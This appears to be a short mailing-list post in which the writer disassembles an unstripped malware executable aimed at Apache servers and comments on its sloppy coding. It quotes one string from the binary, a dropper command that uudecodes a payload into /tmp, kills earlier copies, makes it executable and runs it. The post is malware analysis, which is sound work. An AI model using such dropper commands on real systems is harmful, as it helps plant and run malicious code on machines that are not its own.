Wow, an interesting puppy. I just ran it through dasm to get the
assembler dump. The executable is not even stripped, and makes an
interesting read, as it gives lots of information. It looks like it was
either coded by someone with little experience or in a hurry, and there
are several system calls like this one:

Possible reference to string:
"/usr/bin/uudecode -p /tmp/.uua > /tmp/.a;killall -9 .a;chmod +x /tmp/.a;killall -9 .a;/
tmp/.a %s;exit;"

I wonder how many variants of this kind of thing we'll see, but I assume most people 
running Apache have upgraded already.

Cheers,
